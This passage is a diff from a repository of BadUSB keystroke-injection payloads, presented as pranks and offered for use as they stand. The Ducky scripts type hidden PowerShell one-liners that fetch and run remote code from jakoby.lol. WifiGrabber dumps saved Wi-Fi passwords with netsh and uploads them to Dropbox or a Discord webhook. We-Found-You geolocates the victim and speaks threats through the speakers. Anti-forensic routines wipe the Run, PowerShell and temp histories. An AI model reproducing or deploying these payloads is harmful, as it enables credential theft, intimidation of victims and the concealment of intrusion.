|
||||||
|
.PARAMETER Style
|
||||||
|
Provide wallpaper style (Example: Fill, Fit, Stretch, Tile, Center, or Span)
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
Set-WallPaper -Image "C:\Wallpaper\Default.jpg"
|
||||||
|
Set-WallPaper -Image "C:\Wallpaper\Background.jpg" -Style Fit
|
||||||
|
|
||||||
|
#>
|
||||||
|
|
||||||
|
|
||||||
|
param (
|
||||||
|
[parameter(Mandatory=$True)]
|
||||||
|
# Provide path to image
|
||||||
|
[string]$Image,
|
||||||
|
# Provide wallpaper style that you would like applied
|
||||||
|
[parameter(Mandatory=$False)]
|
||||||
|
[ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')]
|
||||||
|
[string]$Style
|
||||||
|
)
|
||||||
|
|
||||||
|
$WallpaperStyle = Switch ($Style) {
|
||||||
|
|
||||||
|
"Fill" {"10"}
|
||||||
|
"Fit" {"6"}
|
||||||
|
"Stretch" {"2"}
|
||||||
|
"Tile" {"0"}
|
||||||
|
"Center" {"0"}
|
||||||
|
"Span" {"22"}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
If($Style -eq "Tile") {
|
||||||
|
|
||||||
|
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
|
||||||
|
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 1 -Force
|
||||||
|
|
||||||
|
}
|
||||||
|
Else {
|
||||||
|
|
||||||
|
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
|
||||||
|
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 0 -Force
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
Add-Type -TypeDefinition @"
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
public class Params
|
||||||
|
{
|
||||||
|
[DllImport("User32.dll",CharSet=CharSet.Unicode)]
|
||||||
|
public static extern int SystemParametersInfo (Int32 uAction,
|
||||||
|
Int32 uParam,
|
||||||
|
String lpvParam,
|
||||||
|
Int32 fuWinIni);
|
||||||
|
}
|
||||||
|
"@
|
||||||
|
|
||||||
|
$SPI_SETDESKWALLPAPER = 0x0014
|
||||||
|
$UpdateIniFile = 0x01
|
||||||
|
$SendChangeEvent = 0x02
|
||||||
|
|
||||||
|
$fWinIni = $UpdateIniFile -bor $SendChangeEvent
|
||||||
|
|
||||||
|
$ret = [Params]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $Image, $fWinIni)
|
||||||
|
}
|
||||||
|
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function clean-exfil {
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is to clean up behind you and remove any evidence to prove you were there
|
||||||
|
#>
|
||||||
|
|
||||||
|
# Delete contents of Temp folder
|
||||||
|
|
||||||
|
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
# Delete run box history
|
||||||
|
|
||||||
|
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||||
|
|
||||||
|
# Delete powershell history
|
||||||
|
|
||||||
|
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||||
|
|
||||||
|
# Deletes contents of recycle bin
|
||||||
|
|
||||||
|
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function Target-Comes {
|
||||||
|
Add-Type -AssemblyName System.Windows.Forms
|
||||||
|
$originalPOS = [System.Windows.Forms.Cursor]::Position.X
|
||||||
|
$o=New-Object -ComObject WScript.Shell
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
$pauseTime = 3
|
||||||
|
if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){
|
||||||
|
break
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Target-Comes
|
||||||
|
|
||||||
|
Set-WallPaper -Image "$Env:USERPROFILE\Desktop\$ImageName.jpg" -Style Center
|
||||||
|
|
||||||
|
clean-exfil
|
||||||
|
|
||||||
20
Payloads/Wallpaper-Troll/Wallpaper-Troll.txt
Normal file
20
Payloads/Wallpaper-Troll/Wallpaper-Troll.txt
Normal file
|
|
@ -0,0 +1,20 @@
|
||||||
|
REM Title: Wallpaper-Troll
|
||||||
|
REM
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
REM
|
||||||
|
REM Description: This payload is meant to taunt your target with a revealing wallpaper. See README.md for more details.
|
||||||
|
REM
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
REM
|
||||||
|
REM Remeber to replace the link with your link for the intended file to download if you are using a custom variant of this payload.
|
||||||
|
REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly
|
||||||
|
REM
|
||||||
|
REM --------------------------------------------------------------------------------------
|
||||||
|
REM THIS PAYLOAD IS PLUG AND PLAY. NO MODIFICATIONS NEEDED SIMPLY RUN THE CODE DOWN BELOW.
|
||||||
|
REM --------------------------------------------------------------------------------------
|
||||||
|
REM
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -NoP -NonI -Ep Bypass irm jakoby.lol/b8n | iex
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
BIN
Payloads/Wallpaper-Troll/wp-troll.jpg
Normal file
BIN
Payloads/Wallpaper-Troll/wp-troll.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 89 KiB |
114
Payloads/We-Found-You/README.md
Normal file
114
Payloads/We-Found-You/README.md
Normal file
|
|
@ -0,0 +1,114 @@
|
||||||
|
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# We-Found-You
|
||||||
|
|
||||||
|
This script is ready to run as is. Just download and execute with the provided link.
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This script will get the GeoLocation (Latitude and Longitude) of your target.
|
||||||
|
Then a page will open in their browser with a map of their current location on it.
|
||||||
|
Their system volume will be turned to max level.
|
||||||
|
SAPI speak with talk through their speakers the message provided or a custom one you provide.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* Windows 10,11
|
||||||
|
* Their location services are turned on
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory
|
||||||
|
```
|
||||||
|
powershell -w h -NoP -NonI -Ep Bypass irm jakoby.lol/yzb | iex
|
||||||
|
```
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<h2 align="center">📱 My Socials 📱</h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>Twitter
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||||
|
</a>
|
||||||
|
<br>Instagram
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://discord.gg/MYYER2ZcJF">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>Discord
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>TikTok
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
16
Payloads/We-Found-You/We-Found-You.txt
Normal file
16
Payloads/We-Found-You/We-Found-You.txt
Normal file
|
|
@ -0,0 +1,16 @@
|
||||||
|
REM Title: We-Found-You
|
||||||
|
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
|
||||||
|
REM Description: This payload is meant to open a map in your target's web browser with their current location.
|
||||||
|
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
|
||||||
|
REM --------------------------------------------------------------------------------------
|
||||||
|
REM THIS PAYLOAD IS PLUG AND PLAY. NO MODIFICATIONS NEEDED SIMPLY RUN THE CODE DOWN BELOW.
|
||||||
|
REM --------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -NoP -NonI -Ep Bypass irm jakoby.lol/yzb | iex
|
||||||
|
ENTER
|
||||||
177
Payloads/We-Found-You/found-you.ps1
Normal file
177
Payloads/We-Found-You/found-you.ps1
Normal file
|
|
@ -0,0 +1,177 @@
|
||||||
|
############################################################################################################################################################
|
||||||
|
# | ___ _ _ _ # ,d88b.d88b #
|
||||||
|
# Title : We-Found-You | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
|
||||||
|
# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' #
|
||||||
|
# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' #
|
||||||
|
# Category : Prank | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' #
|
||||||
|
# Target : Windows 7,10,11 | |___/ # /\/|_ __/\\ #
|
||||||
|
# Mode : HID | |\__/,| (`\ # / -\ /- ~\ #
|
||||||
|
# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
|
||||||
|
# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo #
|
||||||
|
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
|
||||||
|
#__________________________________|_________________________________________________________________________# | | ) ~ ( #
|
||||||
|
# tiktok.com/@i_am_jakoby # / \ / ~ \ #
|
||||||
|
# github.com/I-Am-Jakoby # \ / \~ ~/ #
|
||||||
|
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
|
||||||
|
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
|
||||||
|
# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |#
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
.NOTES
|
||||||
|
The target's Location Services must be turned on or this payload will not work.
|
||||||
|
|
||||||
|
.SYNOPSIS
|
||||||
|
This script will get the user's location and open a map of where they are in their browser and use Windows speech to declare you know where they are.
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
This program gathers details from target PC to include Operating System, RAM Capacity, Public IP, and Email associated with their Microsoft account.
|
||||||
|
The SSID and WiFi password of any current or previously connected to networks.
|
||||||
|
It determines the last day they changed their password and how many days ago.
|
||||||
|
Once the information is gathered, the script will pause until a mouse movement is detected.
|
||||||
|
Then the script uses Sapi speak to roast their set up and lack of security.
|
||||||
|
#>
|
||||||
|
|
||||||
|
#-----------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is to get the name associated with the targets Microsoft account, if not detected UserName will be used.
|
||||||
|
#>
|
||||||
|
|
||||||
|
function Get-fullName {
|
||||||
|
|
||||||
|
try {
|
||||||
|
|
||||||
|
$fullName = Net User $Env:username | Select-String -Pattern "Full Name";$fullName = ("$fullName").TrimStart("Full Name")
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
# If no name is detected function will return $env:UserName
|
||||||
|
|
||||||
|
# Write Error is just for troubleshooting
|
||||||
|
catch {Write-Error "No name was detected"
|
||||||
|
return $env:UserName
|
||||||
|
-ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
|
||||||
|
return $fullName
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
$FN = Get-fullName
|
||||||
|
|
||||||
|
#-----------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is to get the current Latitude and Longitude of your target
|
||||||
|
#>
|
||||||
|
|
||||||
|
function Get-GeoLocation{
|
||||||
|
try {
|
||||||
|
Add-Type -AssemblyName System.Device #Required to access System.Device.Location namespace
|
||||||
|
$GeoWatcher = New-Object System.Device.Location.GeoCoordinateWatcher #Create the required object
|
||||||
|
$GeoWatcher.Start() #Begin resolving current locaton
|
||||||
|
|
||||||
|
while (($GeoWatcher.Status -ne 'Ready') -and ($GeoWatcher.Permission -ne 'Denied')) {
|
||||||
|
Start-Sleep -Milliseconds 100 #Wait for discovery.
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($GeoWatcher.Permission -eq 'Denied'){
|
||||||
|
Write-Error 'Access Denied for Location Information'
|
||||||
|
} else {
|
||||||
|
$GeoWatcher.Position.Location | Select Latitude,Longitude #Select the relevant results.
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
# Write Error is just for troubleshooting
|
||||||
|
catch {Write-Error "No coordinates found"
|
||||||
|
return "No Coordinates found"
|
||||||
|
-ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
#-----------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is to pause the script until a mouse movement is detected
|
||||||
|
#>
|
||||||
|
|
||||||
|
function Pause-Script{
|
||||||
|
Add-Type -AssemblyName System.Windows.Forms
|
||||||
|
$originalPOS = [System.Windows.Forms.Cursor]::Position.X
|
||||||
|
$o=New-Object -ComObject WScript.Shell
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
$pauseTime = 3
|
||||||
|
if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){
|
||||||
|
break
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#-----------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
$GL = Get-GeoLocation
|
||||||
|
|
||||||
|
$GL = $GL -split " "
|
||||||
|
|
||||||
|
$Lat = $GL[0].Substring(11) -replace ".$"
|
||||||
|
|
||||||
|
$Lon = $GL[1].Substring(10) -replace ".$"
|
||||||
|
|
||||||
|
Pause-Script
|
||||||
|
|
||||||
|
# Opens their browser with a map of their current location
|
||||||
|
|
||||||
|
Start-Process "https://www.latlong.net/c/?lat=$Lat&long=$Lon"
|
||||||
|
|
||||||
|
Start-Sleep -s 3
|
||||||
|
|
||||||
|
# Sets Volume to max level
|
||||||
|
|
||||||
|
$k=[Math]::Ceiling(100/2);$o=New-Object -ComObject WScript.Shell;for($i = 0;$i -lt $k;$i++){$o.SendKeys([char] 175)}
|
||||||
|
|
||||||
|
# Sets up speech module
|
||||||
|
|
||||||
|
$s=New-Object -ComObject SAPI.SpVoice
|
||||||
|
$s.Rate = -2
|
||||||
|
$s.Speak("We found you $FN")
|
||||||
|
$s.Speak("We know where you are")
|
||||||
|
$s.Speak("We are everywhere")
|
||||||
|
$s.Speak("We do not forgive, we do not forget")
|
||||||
|
$s.Speak("Expect us")
|
||||||
|
|
||||||
|
|
||||||
|
#-----------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is to clean up behind you and remove any evidence to prove you were there
|
||||||
|
#>
|
||||||
|
|
||||||
|
# Delete contents of Temp folder
|
||||||
|
|
||||||
|
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
# Delete run box history
|
||||||
|
|
||||||
|
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||||
|
|
||||||
|
# Delete powershell history
|
||||||
|
|
||||||
|
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||||
|
|
||||||
|
# Deletes contents of recycle bin
|
||||||
|
|
||||||
|
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||||
BIN
Payloads/We-Found-You/location.jpg
Normal file
BIN
Payloads/We-Found-You/location.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 114 KiB |
111
Payloads/WifiGrabber/README.md
Normal file
111
Payloads/WifiGrabber/README.md
Normal file
|
|
@ -0,0 +1,111 @@
|
||||||
|
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# Wifi-Grabber
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This payload grabs your target's wifi passwords and uploads them to either Dropbox, Discord, or both.
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* Windows 10,11
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory
|
||||||
|
|
||||||
|
`$dc` is the variable that stores your Discord webhook
|
||||||
|
|
||||||
|
`$db` is the variable that stores your Dropbox token
|
||||||
|
|
||||||
|
Fill in either or both of these to methods to exfil your collected data
|
||||||
|
|
||||||
|
```
|
||||||
|
powershell -w h -NoP -Ep Bypass $dc='';$db='';irm jakoby.lol/e8v | iex
|
||||||
|
```
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<h2 align="center">📱 My Socials 📱</h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>Twitter
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||||
|
</a>
|
||||||
|
<br>Instagram
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://discord.gg/MYYER2ZcJF">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>Discord
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>TikTok
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
86
Payloads/WifiGrabber/WifiGrabber.ps1
Normal file
86
Payloads/WifiGrabber/WifiGrabber.ps1
Normal file
|
|
@ -0,0 +1,86 @@
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
$wifiProfiles = (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-String
|
||||||
|
|
||||||
|
|
||||||
|
$wifiProfiles > $env:TEMP/--wifi-pass.txt
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
# Upload output file to Dropbox
|
||||||
|
|
||||||
|
function DropBox-Upload {
|
||||||
|
|
||||||
|
[CmdletBinding()]
|
||||||
|
param (
|
||||||
|
|
||||||
|
[Parameter (Mandatory = $True, ValueFromPipeline = $True)]
|
||||||
|
[Alias("f")]
|
||||||
|
[string]$SourceFilePath
|
||||||
|
)
|
||||||
|
$outputFile = Split-Path $SourceFilePath -leaf
|
||||||
|
$TargetFilePath="/$outputFile"
|
||||||
|
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
|
||||||
|
$authorization = "Bearer " + $db
|
||||||
|
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
|
||||||
|
$headers.Add("Authorization", $authorization)
|
||||||
|
$headers.Add("Dropbox-API-Arg", $arg)
|
||||||
|
$headers.Add("Content-Type", 'application/octet-stream')
|
||||||
|
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($db))){DropBox-Upload -f $env:TEMP/--wifi-pass.txt}
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
function Upload-Discord {
|
||||||
|
|
||||||
|
[CmdletBinding()]
|
||||||
|
param (
|
||||||
|
[parameter(Position=0,Mandatory=$False)]
|
||||||
|
[string]$file,
|
||||||
|
[parameter(Position=1,Mandatory=$False)]
|
||||||
|
[string]$text
|
||||||
|
)
|
||||||
|
|
||||||
|
$hookurl = "$dc"
|
||||||
|
|
||||||
|
$Body = @{
|
||||||
|
'username' = $env:username
|
||||||
|
'content' = $text
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($text))){
|
||||||
|
Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)};
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file "$env:TEMP/--wifi-pass.txt"}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
function Clean-Exfil {
|
||||||
|
|
||||||
|
# empty temp folder
|
||||||
|
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
# delete run box history
|
||||||
|
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||||
|
|
||||||
|
# Delete powershell history
|
||||||
|
Remove-Item (Get-PSreadlineOption).HistorySavePath -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
# Empty recycle bin
|
||||||
|
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($ce))){Clean-Exfil}
|
||||||
|
|
||||||
|
|
||||||
|
RI $env:TEMP/--wifi-pass.txt
|
||||||
12
Payloads/WifiGrabber/WifiGrabber.txt
Normal file
12
Payloads/WifiGrabber/WifiGrabber.txt
Normal file
|
|
@ -0,0 +1,12 @@
|
||||||
|
REM Title: Wifi Grabber
|
||||||
|
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
|
||||||
|
REM Description: This payload grabs your target's wifi passwords and uploads them to either Dropbox, Discord, or both.
|
||||||
|
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -NoP -Ep Bypass $dc='';$db='';irm jakoby.lol/e8v | iex
|
||||||
|
ENTER
|
||||||
123
Payloads/YT-Tripwire/ReadMe.md
Normal file
123
Payloads/YT-Tripwire/ReadMe.md
Normal file
|
|
@ -0,0 +1,123 @@
|
||||||
|
|
||||||
|
|
||||||
|
<img src="https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif" width="50">
|
||||||
|
|
||||||
|
<h1 align="center">
|
||||||
|
<a href="https://git.io/typing-svg">
|
||||||
|
<img src="https://readme-typing-svg.herokuapp.com/?lines=Welcome+to;YouTube+Tripwire!+😈¢er=true&size=30">
|
||||||
|
</a>
|
||||||
|
</h1>
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
